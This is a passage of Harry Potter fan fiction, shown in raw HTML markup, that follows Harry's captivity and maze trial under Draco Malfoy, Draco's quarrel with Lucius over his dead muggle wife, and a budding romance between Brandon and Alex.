of\nfeeling.&#8221; She returned sarcastically still trying to get away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alex, will you please relax&#8230; I really am sorry and I\nwant to stay with you for a while.&#8221; Alex relaxed a bit; Brandon looked her in\nthe eyes and gave her a soft smile. &nbsp;He\ntook her hand and started walking past her house.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Damn it! That little&#8230;&#8221; Draco slammed his fist down on\nthe table in a study. Taking a slip from the Fire Whisky he was drinking and\nrubbing his sinuses. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Something eating you Draco?&#8221; Lucius Malfoy asked walking\nin behind his son.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wouldn&#8217;t you love to know.&#8221; Draco shot back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I would.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;To bad&#8230; I don&#8217;t share anything anymore.&#8221; Draco took\nanother drink, &#8220;Especially to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Draco, you used to be so open with me&#8230;&#8221; Lucius acted\nhurt by his son&#8217;s words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah and look where that got me&#8230; Damn it Father! If it\nwasn&#8217;t for you, Emily would still be here!&#8221;&nbsp;\nDraco shot up from his chair throwing his glass at the wall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I never said for you to kill her, I just put you in your\nplace.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad you forced me to kill her!&nbsp; That damn curse!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lucius grabbed his son by the collar of his shirt, &#8220;No\nSon of mine was going to live with a Muggle!&#8221;&nbsp;\nLucius shoved his son into a cabinet wall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Little did either one of them know that Harry was sitting\noutside of the room tending to his wounds, and grinning to the new information\nhe had just received.&nbsp; He taped his hand\nwith gauze and adhesive tape, &#8220;So Malfoy, you had a muggle wife and you killed\nher&#8230; How are we going to handle this one?&#8221;&nbsp;\nHarry let out a small and quiet laugh as he crawled back to his room\ngrasping his broken leg.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When he got back to his room, he sat on his bed and\nleaned on it closing his eyes, soon finding a deep sleep&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*-*-*~*-*-*</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Get up you piece of filth!&#8221; Draco said kicking Harry in\nthe stomach.&nbsp; Harry sat keeled over\ngripping his stomach looking up at his enemy, &#8220;You have a half hour to get\nready&#8230; Today it begins.&#8221; Draco then walked out the door.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at his clock, &#8220;noon&#8230;&#8221; He said getting up and\ngrabbing his ripped shirt and looking in the mirror.&nbsp; He was shocked to see he wasn&#8217;t cut up or in any pain; he did\nhave a shadow though, but it didn&#8217;t faze him since that was the least of his\nworries.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry walked out of hid room and kicked something.&nbsp; He looked at it and saw it was a knife; he\npicked it up and flipped it open.&nbsp; When\nhe did instantly he felt the pulling at his nape and he was gone&#8230;.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry fell to his knees in the wet marsh he reappeared\nin; he looked around the marsh, &#8220;Oh shit!&#8221; He cursed himself looking\naround.&nbsp; He was in the maze that Draco\ntold him about.&nbsp; As if on cue and green\nenvelope popped out of nowhere and landed in Harry&#8217;s hands.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was hesitant in opening the letter but when he did\nit read:</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>Better move\nunless you want your legs chewed off&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\ndashed out of the water into a tree.&nbsp; He\nwent to grab the knife he had and realized that he dropped in the water when he\nlanded.&nbsp; Again he cursed himself and\nslowly got back in the water.&nbsp; He\nreached in the water and felt around for the knife, he thought for a second\nthat he grazed it but then something with razor sharp teeth bit him in the palm\nof his hand.</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fuck!&#8221; He yelled in pain, pulling his hand out of the\nwater he looked at the creature that was still attached to him. &#8220;What the\nbloody hell are you?&#8221; He said wincing as the animal dug its teeth deeper into\nhis flesh.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The animal was long and looked slimy, it was black and\nhad blood red eyes with that looked like a tiny dot in the center of them.&nbsp; Harry grabbed it by what looked like the\ntail and yanked it off his hand.&nbsp; The\nsecond the creature was off his hand blood started to flow out of his hand very\nquickly, what ever it was, with his bloody hand he grasped the animal by is\nneck and squeezed it to see what was in it&#8217;s mouth.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had two rows of what looked like teeth, the first row\nhad at least 30 jagged edged teeth and the second row was about 15 teeth but\nthey could have been suckers to suck the blood out of his hand.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Water Munkee&#8230;&#8221; Harry confirmed, &#8220;Only they have a mouth\nfull of teeth like that, and that means&#8230;&#8221; Harry started to panic.&nbsp; He threw the Water Munkee back into the water\nand lunged his hand into the water lucky enough to grab his knife and he jumped\nand gripped a low branch in the tree he crawled from just in time for a swarm\nof the </i>water munkee&#8217;s <i>to come and\npractically rip him apart.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That was close!&#8221; Harry said wiping some mud of his\nbrow.&nbsp; He looked around to see if there\nwas a way to dry land, &#8220;If this is a maze that must mean there are multiple\nways to go but only one can get me out&#8230;&#8221; Harry looked around and saw a close tree\nnext to the one he was on.&nbsp; He climbed\nup the tree more until he was level with the other tree&#8230; He leaped to the next\ntree&#8217;s closest branch and then hung there looking for the next available\nbranch.&nbsp; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He grinned as he found a path suitable enough to get him\nto land.&nbsp; Looking down more he saw that\nthe Water munkee&#8217;s were now scattered eating what looked like algae off the\nwaters surface.&nbsp; Harry swung from branch\nto branch until he finally made his way to shore.&nbsp; Leaping from the last tree he landed on the dry surface crouching\ndown to avoid anything unexpected.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Again out of nowhere a green envelope popped out in front\nof him, he took it and opened it:</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Well you were smart enough for that one&#8230; but don&#8217;t expect\nthe rest to be all that easy.&nbsp; You will\nfall Potter&#8230;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>It then caught fire and\nturned to dust in Harry&#8217;s hands.&nbsp; Harry\nlooked around, &#8220;Oh the joy&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry got back on his feet and pulled out the knife,\nwalking up to some of the brush in front of him she instantly started to cut\naway the tall grass and weeds blocking his entrance.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After what seemed like hours Harry finally made his way\nto the end of the grass, he had crossed some Pixies but brushed them off as\nthey started tugging at his shirt. He looked around; it seemed to have changed\nsomehow, now it was more of a forest then a marsh.&nbsp; He walked further into it and heard different sounds, but one\nsound stood out from the others, it was almost like a growl of a Lion, but it\nseemed deeper&#8230; it was getting closer, Harry held up the knife, &#8216;</i>what kind of protection will this have an animal of\nthat size?<i>&#8217; Harry thought to himself.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He backed up as he heard the growl get so close that it\nseemed like it was right in front of him.&nbsp;\nHe started to turn and run when something jumped at him knocking him to\nthe ground.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Holy Shit!&#8221; Harry yelled throwing the animal off him and\nrunning as fast as possible to a safe spot.&nbsp;\nBehind him he could hear the animal chasing him, &#8220;Oh god please let me\nget away.&#8221; Harry said as he pushed him self to run faster&#8230;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He tripped! Over a root instantly he heard and felt his\nleft leg snap as he hit the ground with great speed and it knocked the wind out\nof him.&nbsp; His knife went flying; he tried\nto reach for it but it was out of reach.&nbsp;\nHe could hear the footsteps slowing down as the animal reached his feet.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry turned to look at the animal, a Lyon&#8230; Small but\nfierce, he was the size of a dog but had the strength of 3 bears, able to rip\nyou apart faster than a cheetah.&nbsp; Harry\ncould feel the sweat starting to beat down his face&#8230;&nbsp; He was still trying to reach the knife.&nbsp; The Lyon leaped at Harry&#8217;s face Harry reacted as quick as he\ncould.&nbsp; He grabbed the Lyon by the\nthroat just as it bit his arm and scratched at his chest.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly there was the pull at Harry&#8217;s nape&#8230; again he was\nin the hallway in his captors house listening intently to them talking in the\nstudy.&nbsp; Harry crawled back to his room\nand looked around for something to wrap his hand in.&nbsp; Knowing that he can&#8217;t put pressure on his leg he sort of crawled\nback to the room.&nbsp; He was surprised to\nsee adhesive tape and gauze to wrap his cuts.&nbsp;\nAs he started to tend to his wounds when he head yelling.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Slowly and silently he crawled back out of the bedroom\nand down the hall to the study sitting outside it listening to the two Malfoy&#8217;s\ntalk.&nbsp; He smiled at what he was\nhearing.&nbsp; Before they figured out he was\nsitting their Harry went back to his room and collapsed.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>~~~~~~~~~~~***~~~~~~~~~~~</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry! Come! Here, lay down here!&#8221; James Potter said\nrushing to his son and helping him to a chair.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad! Malfoy&#8230; He killed his wife! She was a muggle!&#8221;\nHarry said with a wide smile on his face, &#8220;She was a muggle and Draco </i>loved<i> her!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry calm down, I know all this&#8230; we have been watching\nhim for a while&#8230; and by </i>we <i>I\ndon&#8217;t me your mother and I.&#8221; James said handing Harry a cup of some liquid.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is his?&#8221; Harry said looking at it, &#8220;Is it&#8230;&#8221; Harry\ntwitched at the thought of it being something to mend his bone.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No it&#8217;s not what you think it is&#8230; but it&#8217;s close&#8230; </i>close<i> it will mend your bones and repair any injury\nyou may have in seconds&#8230; an afterlife elixir we use&#8230; but not for mending things\nsince we have no bones or anything&#8230; that&#8217;s practically our whisky&#8230; pretty damn\ngood it is&#8230; but it&#8217;s a bit foul to the living.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh </i>joy<i>&#8221;\nHarry said, &#8220;Well bottoms up!&#8221; He raised his glass and drank the liquid, a\nslight burning sensation ran threw him and the foul taste his father was\ntalking about was more than foul&#8230; it was like swallowing Dragon dung!</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think I&#8217;m going to hurl!&#8221; Harry said setting his glass\ndown.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, well maybe I under estimated the taste a bit.&#8221;\nJames said cocking an eyebrow.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yah think&#8230;&#8221; Harry said trying to keep the substance in\nhis stomach.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, well, look your better! See leg and everything.&#8221; He\ngave a sly smile to his son.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah well now I have the taste of dung in my mouth.&#8221;\nHarry replied</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How do you know what it taste&#8217;s like?&#8221; James said\nlooking at his son.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*-*-*-*~*-*-*-*</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So your mother died and your dad was left to raise you\nalone&#8230; That deep.&#8221; Brandon said hanging upside down from a tree branch, &#8220;And I\nthought that having two brothers was hard to deal with&#8230; but never meeting your\nmom&#8230;&#8221;</p>\n\n<p class="MsoNormal">Brandon came down from the\ntree and sat next to Alex.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve always admired you and your brothers, I mean at\nleast you have siblings&#8230;&#8221; Alex said resting her head on the tree&#8217;s trunk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ha! Take em&#8217;&#8230; I&#8217;d be happier without brothers&#8230; friends\nare good enough for me&#8230;&#8221; Brandon crossed his arms over his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have my reasons&#8230;&#8221; He stood up looking at the\nretreating sun, &#8220;I better get going&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Alex got up as well and looked at the sight in front of\nthem, &#8220;I guess your right, I&#8217;m sure Nick is wanting to know why you ditched him\nfor <i>me</i>.&#8221; She joked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Your not that bad Alex&#8230; We&#8217;re just guys ya know&#8230;&#8221;\nBrandon looked at her; looking into her eyes he felt lost in a different\nworld.&nbsp; She looked back at him with the\nsame expression.&nbsp; Brandon leaned in\ncloser to her a mere inch away when a slap hit him in the face and pulled him\nback from her.&nbsp; Alex gave him a blank\nexpression, &#8220;I&#8217;ll walk yah home ok.&#8221; He said turning and walking down the\nstreet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When the two-reached Alex&#8217;s house Brandon looked at her\nnot knowing what to say or do.&nbsp; Alex\nhowever leaned on his arm and kissed him on the cheek, &#8220;You have to learn to\nlet people in Brandon&#8230;&#8221; And with that she walked into her house leaving Brandon\nwith a look of shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~~~~~~~~*****~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Great! Now the middle child is in on the whole thing!&#8221;\nThe last thing I want is <i>his</i> brats to be with anyone in <i>my </i>family\nblood related or not.&#8221; Draco said looking at a bowl of blood red liquid.&nbsp; Holding a glass of Rum and cigarette while\nwatching them.&nbsp; &#8220;No matter, once the\nolder one is dead it will leave a clean opening for the other two&#8230;&#8221; Draco\nsipped his drink and put out the cigarette.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~**~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Harry! James!&#8221; Lily said popping out of nowhere and\nlooking for the two.&nbsp; She ran threw out\nthe house she ran into the back yard where she saw her son dodging objects and\nspells while mentally shooting objects in every witch way.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;JAMES! Harry!&#8221; She said running to them franticly.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; James stopped throwing things at his son and Harry rolled\nout of a dive and looked at his mother, &#8220;What?&#8221; they said at the same time.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s a problem!&#8221; She said franticly.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221; James asked.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Chris and Brandon&#8230;&#8221; She gasped out.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about them?&#8221; Harry said jumping up and looking at\nhis mother with worry.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was watching Draco, He was looking in a liquid orb and\nis planning to kill them both.&#8221; Lily wiped a tear away from her face, &#8220;We have\nto let James know about his dreams, he needs the stuff for the transport and we\nhave to go into full blown approach in getting Harry home.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ok, but can he get </i>everything<i> we need?&#8221; James asked.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hope so.&#8221; She looked at Harry, &#8220;We need to fake your\ndeath to Malfoy Harry, we need to tick him into thinking that he killed you so\neveryone thinks the same&#8230; you&#8217;ll spend most time training, and in a few months\nwe will wake you up and you will duel him&#8230;&#8221; Lily explained.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked dumbfounded, &#8220;And you expect this to go\nthrew that smoothly?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No but we are going to work on it&#8230; don&#8217;t worry I already\nknow how to kill you.&#8221; Lily shook her head, Wow, I hope I never say those words\nagain.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grinned, &#8220;Lets do it then.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">~-**-~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 